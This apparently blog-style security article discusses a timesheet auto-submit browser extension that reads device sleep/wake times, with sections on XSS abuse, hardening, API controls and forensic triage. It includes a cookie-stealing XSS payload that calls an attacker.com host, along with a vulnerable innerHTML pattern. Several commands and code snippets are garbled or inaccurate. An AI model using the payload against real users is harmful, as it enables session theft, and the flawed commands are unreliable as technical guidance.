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Introduction:
Browser extensions that automate repetitive tasks—like submitting timesheets—are increasingly powered by AI-generated code, but they often introduce critical security blind spots. The “SuckLessFactors Auto-Submit Browser Extension,” which fetches device sleep and wakeup times as a base for Salesforce timesheet entries, exemplifies how convenience can override consent, data privacy, and input validation. This article dissects the security risks of such AI‑slop extensions, provides actionable hardening techniques, and demonstrates how red teams can abuse similar automation vectors.
Learning Objectives:
- Analyze the privacy and integrity risks of browser extensions that access system hardware events (sleep/wake timers) for HR automation.
- Implement detection and mitigation strategies against unauthorized timesheet manipulation using Windows Event Logs and Linux auditd.
- Build a secure alternative approach using API gateways and signed browser extension policies that validate user presence.
You Should Know:
- How Sleep/Wake Data Leakage Enables Insider Threats and Account Takeover
The extension fetches your device’s sleep and wakeup times via system APIs (e.g., Chrome’s `chrome.system.powerSource` or Electron’s powerMonitor). While intended to auto‑fill timesheets, this data can be exfiltrated to an attacker‑controlled server, revealing work patterns, off‑hours activity, and even location changes (if combined with IP logs). Worse, if the extension is compromised or malicious, an adversary could inject fabricated sleep/wake records to inflate billable hours or trigger false attendance approvals.
Step‑by‑step guide to audit sleep/wake event access on your system:
Windows (PowerShell as Admin):
Query system sleep/wake events from Event Log (PowerShell)
Get-WinEvent -FilterHashtable @{LogName='System'; ID=42,107,506,507} |
Select-Object TimeCreated, Id, Message -First 20
Monitor real-time sleep/wake events
Get-WinEvent -FilterHashtable @{LogName='System'; ID=42} -MaxEvents 1 |
Format-List
List all browser extensions that have requested power permissions (Chrome)
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" -Recurse -Filter "manifest.json" |
Select-String -Pattern '"power"'
Linux (systemd):
View past sleep/wake cycles from journalctl sudo journalctl --since "yesterday" | grep -E "Sleep|Wake|suspend|resume" Monitor real-time sleep/wake events sudo journalctl -f | grep -E "PM: suspend|PM: resume" Check browser extension permissions for power monitoring (Chromium-based) grep -r '"power"' ~/.config/google-chrome/Default/Extensions//manifest.json 2>/dev/null
How to use this: Security teams can set up alerts for unauthorized processes reading power state APis—especially browser extensions not listed in an approved allowlist. Red teams can simulate data exfiltration by creating a dummy extension that reads `navigator.getBattery()` (also tied to power state) and sends it to a remote collector.
- Abusing AI-Generated “Slop” Extensions for Persistent Cross-Site Scripting (XSS)
Because the extension auto‑submits timesheets on third‑party platforms (e.g., Salesforce), it must inject form data into DOM elements. Poorly validated AI‑generated code often uses `innerHTML` or `eval()` on user‑supplied sleep/wake timestamps. An attacker controlling a malicious timesheet field could inject JavaScript that executes in the extension’s privileged context, leading to session hijacking, data theft, or lateral movement across corporate SaaS apps.
Step‑by‑step exploitation simulation (educational, in isolated lab):
// Malicious payload to inject into a timesheet comment field
// This would be inserted via a manipulated sleep/wake value or MITM
const payload = "<img src=x onerror='fetch(`https://attacker.com/steal?cookie=${document.cookie}`)'>";
// Vulnerable extension code (AI-generated typical pattern)
document.getElementById('time_notes').innerHTML = userSuppliedSleepData; // BAD
Hardening commands (Chrome enterprise policy):
- Block inline JavaScript and eval globally:
// Group Policy Registry key (Windows) HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionSettings "mandatory": { "": { "runtime_allowed_hosts": ["https://.mycompany.com"], "content_security_policy": "script-src 'self' https://trusted-cdn.com; object-src 'none'" } } - Enforce extension manifest V3 which disallows remotely hosted code and eval by default.
3. Hardening Browser Extension Permissions Against Timesheet Fraud
The extension requires permissions like storage, alarms, power, and `host_permissions` for the timesheet domain. Attackers can abuse `alarms` to schedule fraudulent submissions at random intervals, while `storage` can cache fake wake times. Using a least‑privilege model, we can rebuild the extension to use signed user presence checks (e.g., periodic passphrase prompt or biometric) rather than trusting device sleep/wake events.
Step‑by‑step secure extension design using WebAuthn:
1. Remove `power` permission entirely.
- Instead of automatic submission, generate a daily one‑time token signed by a hardware security key.
- Use background script to validate token via `navigator.credentials.get()` before any auto‑fill.
Example code snippet for user presence validation:
// Instead of auto-fetching sleep/wake, require user gesture + WebAuthn
async function requireUserPresence() {
const challenge = new Uint8Array(32);
crypto.getRandomValues(challenge);
const credential = await navigator.credentials.get({
publicKey: {
challenge: challenge,
allowCredentials: [{ id: localCredentialId, type: 'public-key' }],
timeout: 60000,
userVerification: 'required'
}
});
return !!credential; // only proceed if user physically tapped key
}
Windows & Linux commands to enforce signed extension policies:
– Windows – Force installation of only approved extensions via Group Policy:
`reg add “HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist” /v 1 /t REG_SZ /d “abcdefghijklmnopabcdefghijklmnop” /f`
– Linux – Use `policies.json` under `/etc/opt/chrome/policies/managed/` to block `power` permission:
{
"ExtensionSettings": {
"": { "blocked_permissions": ["power"] }
}
}
- Detecting Anomalous Timesheet Submissions via SIEM and API Security
The extension calls the timesheet API with crafted JSON payloads. A sophisticated attacker may replay captured requests with fake sleep/wake timestamps. Implement API security controls: check for `User-Agent` inconsistencies, require HMAC-signed timestamps, and monitor for repeated submissions outside of working hours.
Step‑by‑step API hardening using rate limiting and request fingerprinting (Node.js/Express example):
const rateLimit = require('express-rate-limit');
const crypto = require('crypto');
// Detect submission patterns that deviate from real wake times
const submissionLimiter = rateLimit({
windowMs: 15 60 1000, // 15 minutes
max: 2, // max 2 submissions per window – prevents replay flood
keyGenerator: (req) => <code>${req.ip}-${req.body.userId}</code>,
handler: (req, res) => {
console.error(<code>Rate limit exceeded for ${req.body.userId}. Potential extension abuse.</code>);
res.status(429).send('Auto-submit detected, please contact security.');
}
});
// Add HMAC signature using device-specific secret (provisioned via enterprise MDM)
function validateHmac(body, receivedSig, secret) {
const computed = crypto.createHmac('sha256', secret).update(JSON.stringify(body)).digest('hex');
return crypto.timingSafeEqual(Buffer.from(computed), Buffer.from(receivedSig));
}
Cloud hardening (AWS WAF with custom rule):
AWS WAF rule to block requests lacking a recent `X-User-Presence` header
WHERE NOT EXISTS (SELECT header WHERE name = 'X-User-Presence' AND value REGEX '^[0-9a-f]{64}$')
AND request_uri LIKE '%/timesheet/submit%'
5. Forensic Triage After Suspected Timesheet Extension Abuse
If an employee reports weird entries or payroll flags anomalies, follow this triage workflow to determine if the SuckLessFactors extension (or a similar tool) was exploited.
Step‑by‑step forensic commands (Windows & Linux):
Windows – Extract browser extension activity:
:: List all installed Chrome extensions with installation date wmic path win32_product where "name like '%%Google Chrome%%'" get /? (adjust) :: Better: Use PowerShell to read Preferences file Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences" | Select-String -Pattern '"extensions"','"id"','"manifest"' :: Check for suspicious network connections from Chrome extension background pages netstat -ano | findstr "chrome" | findstr "ESTABLISHED"
Linux – Monitor extension filesystem changes:
Track creation of extension-local storage (IndexedDB, localStorage) sudo inotifywait -m -r ~/.config/google-chrome/Default/Extensions/ -e modify,create,delete Extract extension logs from Chrome's debug log strings ~/.config/google-chrome/Default/debug.log | grep -i "SuckLessFactors|auto-submit" Check for outbound connections by extension process ID lsof -i -n -P | grep chrome | grep ESTABLISHED
Forensic analysis of sleep/wake spoofing: Compare Event Log sleep/wake times against extension submission logs. A mismatch of >5 seconds suggests the extension forged timestamps. Use PowerShell to correlate:
$sleepEvents = Get-WinEvent -FilterHashtable @{LogName='System'; ID=42} | Select -ExpandProperty TimeCreated
$submitLogs = Import-Csv "timesheet_audit.csv" contains automatic submission timestamps
$sleepEvents | ForEach-Object {
if ($submitLogs -contains $_.AddSeconds(-2)) { Write-Host "Likely legitimate" }
else { Write-Host "Suspicious submission without preceding wake" }
}
What Undercode Say:
- AI slop is a supply chain risk – Automatically generated browser extensions often ignore secure coding practices, enabling trivial privilege escalation and data leakage.
- Hardware event access demands re‑certification – Any extension reading sleep/wake or battery state should be treated as highly privileged and audited quarterly.
- Automation must be user‑attested – replacing implicit trust in system events with explicit user presence (e.g., WebAuthn) closes the timesheet fraud gap.
The SuckLessFactors incident isn’t just a joke—it’s a wake‑up call. As AI tools become copilots for extension developers, we will see a surge in “convenienceware” that blurs the line between helpful and hazardous. Security teams must shift left by scanning AI‑generated manifests for dangerous permissions, implementing runtime behavioral analysis of extension API calls, and mandating that any auto‑submit mechanism include a non‑repudiable user gesture. Red teams, start hunting for these extensions in your environment—they are low‑hanging fruit for persistent access and payroll manipulation.
Prediction:
Within 18 months, at least two major HR SaaS platforms (e.g., Workday, BambooHR) will issue emergency patches after attackers weaponize AI‑generated timesheet extensions to defraud payroll systems out of millions. This will catalyze a new OWASP category: “Automation‑induced API abuse,” driving browser vendors to deprecate `chrome.power` for extensions not explicitly signed by enterprise admins. Expect regulators to classify unauthorized timesheet automation as computer fraud under CFAA and similar laws, leading to the first criminal conviction of an AI‑slop extension developer by late 2027.
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Reported By: Daniel Scheidt – Hackers Feeds
Extra Hub: Undercode MoN
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